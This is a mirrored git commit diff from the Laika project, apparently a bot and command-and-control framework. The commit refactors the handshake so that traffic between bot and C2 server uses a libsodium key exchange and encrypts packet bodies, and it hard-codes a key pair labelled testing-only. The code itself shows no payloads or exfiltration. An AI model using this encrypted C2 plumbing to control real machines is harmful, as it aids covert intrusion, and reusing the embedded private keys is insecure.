mirror of
https://github.com/CPunch/Laika.git
synced 2026-01-03 11:30:42 +00:00
Key exchange refactoring!
- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled
This commit is contained in:
@@ -4,11 +4,11 @@ set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||
|
||||
# DO NOT USE THESE KEYS, TESTING ONLY
|
||||
if(NOT LAIKA_PUBKEY)
|
||||
set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814")
|
||||
set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_PRIVKEY)
|
||||
set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841")
|
||||
set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
|
||||
endif ()
|
||||
|
||||
# version details
|
||||
|
||||
@@ -6,8 +6,7 @@
|
||||
#define LAIKA_VERSION_MINOR 0
|
||||
|
||||
/* keys */
|
||||
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
|
||||
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
|
||||
|
||||
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
|
||||
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
|
||||
|
||||
#endif
|
||||
|
||||
@@ -6,7 +6,14 @@
|
||||
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_NONCESIZE 16
|
||||
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
|
||||
*/
|
||||
|
||||
enum {
|
||||
LAIKAPKT_HANDSHAKE_REQ,
|
||||
@@ -14,22 +21,21 @@ enum {
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN];
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t peerType;
|
||||
* uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey
|
||||
* uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t endian;
|
||||
* uint8_t reEncryptedNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
|
||||
*/
|
||||
LAIKAPKT_VARPKT_REQ,
|
||||
//LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
//LAIKAPKT_VARPKT_REQ,
|
||||
/* layout of LAIKAPKT_VARPKT_REQ:
|
||||
* uint8_t pktID;
|
||||
* uint16_t pktSize;
|
||||
*/
|
||||
LAIKAPKT_CHALLENGE_REQ,
|
||||
LAIKAPKT_CHALLENGE_RES,
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
|
||||
@@ -19,12 +19,10 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||
PeerPktHandler *handlers;
|
||||
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
||||
uint8_t *priv; /* key to decrypt incoming packets */
|
||||
uint8_t *pub; /* pub key matching to priv */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
@@ -35,8 +33,6 @@ struct sLaika_peer {
|
||||
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
|
||||
|
||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||
bool laikaS_handlePeerOut(struct sLaika_peer *peer);
|
||||
|
||||
|
||||
@@ -51,6 +51,8 @@
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "lrsa.h"
|
||||
|
||||
typedef enum {
|
||||
RAWSOCK_OK,
|
||||
RAWSOCK_ERROR,
|
||||
@@ -61,12 +63,16 @@ typedef enum {
|
||||
struct sLaika_socket {
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
SOCKET sock; /* raw socket fd */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
int inCap;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool flipEndian;
|
||||
bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||
@@ -84,10 +90,15 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id);
|
||||
int laikaS_endOutPacket(struct sLaika_socket *sock);
|
||||
void laikaS_startInPacket(struct sLaika_socket *sock);
|
||||
int laikaS_endInPacket(struct sLaika_socket *sock);
|
||||
void laikaS_setSecure(struct sLaika_socket *sock, bool flag);
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||
void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf */
|
||||
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf */
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
|
||||
|
||||
@@ -10,8 +10,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
||||
peer->pktSizeTable = pktSizeTable;
|
||||
peer->pList = pList;
|
||||
peer->uData = uData;
|
||||
peer->priv = NULL;
|
||||
peer->pub = NULL;
|
||||
peer->pktSize = 0;
|
||||
peer->type = PEER_UNVERIFIED;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
@@ -19,11 +17,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
||||
return peer;
|
||||
}
|
||||
|
||||
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) {
|
||||
peer->priv = priv;
|
||||
peer->pub = pub;
|
||||
}
|
||||
|
||||
void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
laikaS_cleanSocket(&peer->sock);
|
||||
laikaM_free(peer);
|
||||
@@ -40,6 +33,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
return false;
|
||||
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
laikaS_startInPacket(&peer->sock);
|
||||
|
||||
/* sanity check packet ID */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE)
|
||||
@@ -50,28 +44,32 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
if (peer->pktSize == 0)
|
||||
LAIKA_ERROR("unsupported packet!\n")
|
||||
|
||||
break;
|
||||
case LAIKAPKT_VARPKT_REQ:
|
||||
/* try grabbing pktID & size */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
|
||||
if (peer->sock.useSecure)
|
||||
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
|
||||
if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
|
||||
break;
|
||||
//case LAIKAPKT_VARPKT_REQ:
|
||||
/* try grabbing pktID & size */
|
||||
// if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||
// return false;
|
||||
|
||||
// if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
|
||||
// LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
|
||||
|
||||
/* read pktID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
// peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check pktID, (check valid range, check it's variadic) */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
|
||||
LAIKA_ERROR("received evil pktID!\n")
|
||||
// if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
|
||||
// LAIKA_ERROR("received evil pktID!\n")
|
||||
|
||||
/* try reading new packet size */
|
||||
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
// laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!")
|
||||
break;
|
||||
// if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
// LAIKA_ERROR("variable packet too large!")
|
||||
// break;
|
||||
default:
|
||||
/* try grabbing the rest of the packet */
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||
@@ -80,9 +78,10 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
/* have we received the full packet? */
|
||||
if (peer->pktSize == peer->sock.inCount) {
|
||||
PeerPktHandler hndlr = peer->handlers[peer->pktID];
|
||||
peer->pktSize = laikaS_endInPacket(&peer->sock);
|
||||
|
||||
if (hndlr != NULL) {
|
||||
hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */
|
||||
hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */
|
||||
} else
|
||||
LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
|
||||
static int _LNSetup = 0;
|
||||
|
||||
@@ -46,7 +47,10 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
|
||||
sock->outBuf = NULL;
|
||||
sock->outCap = ARRAY_START;
|
||||
sock->outCount = 0;
|
||||
sock->inStart = -1;
|
||||
sock->outStart = -1;
|
||||
sock->flipEndian = false;
|
||||
sock->useSecure = false;
|
||||
|
||||
laikaS_init();
|
||||
}
|
||||
@@ -171,6 +175,79 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) {
|
||||
if (sock->outStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
sock->outStart = sock->outCount;
|
||||
if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
||||
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
||||
}
|
||||
}
|
||||
|
||||
int laikaS_endOutPacket(struct sLaika_socket *sock) {
|
||||
uint8_t *body;
|
||||
size_t sz;
|
||||
|
||||
if (sock->useSecure) {
|
||||
/* make sure we have enough space */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
|
||||
|
||||
/* packet body starts after the id & nonce */
|
||||
body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES];
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[sock->outStart], sock->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n")
|
||||
}
|
||||
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
sz = sock->outCount - sock->outStart;
|
||||
sock->outStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startInPacket(struct sLaika_socket *sock) {
|
||||
if (sock->inStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended IN packet!\n")
|
||||
}
|
||||
|
||||
sock->inStart = sock->inCount;
|
||||
}
|
||||
|
||||
int laikaS_endInPacket(struct sLaika_socket *sock) {
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - sock->inStart;
|
||||
|
||||
if (sock->useSecure) {
|
||||
body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[sock->inStart], sock->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n")
|
||||
}
|
||||
|
||||
/* remove nonce */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES);
|
||||
|
||||
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
}
|
||||
|
||||
sock->inStart = -1;
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_setSecure(struct sLaika_socket *sock, bool flag) {
|
||||
sock->useSecure = flag;
|
||||
}
|
||||
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
memcpy(buf, sock->inBuf, sz);
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
@@ -178,14 +255,14 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
/* make sure we have enough space to copy the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
|
||||
/* copy the buffer, then increment outCount */
|
||||
memcpy(&sock->outBuf[sock->outCount], buf, sz);
|
||||
sock->outCount += sz;
|
||||
}
|
||||
|
||||
void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
|
||||
/* make sure we have enough space to encrypt the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
|
||||
|
||||
@@ -196,7 +273,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *
|
||||
sock->outCount += LAIKAENC_SIZE(sz);
|
||||
}
|
||||
|
||||
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
|
||||
/* decrypt into buf */
|
||||
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt!\n");
|
||||
|
||||
Reference in New Issue
Block a user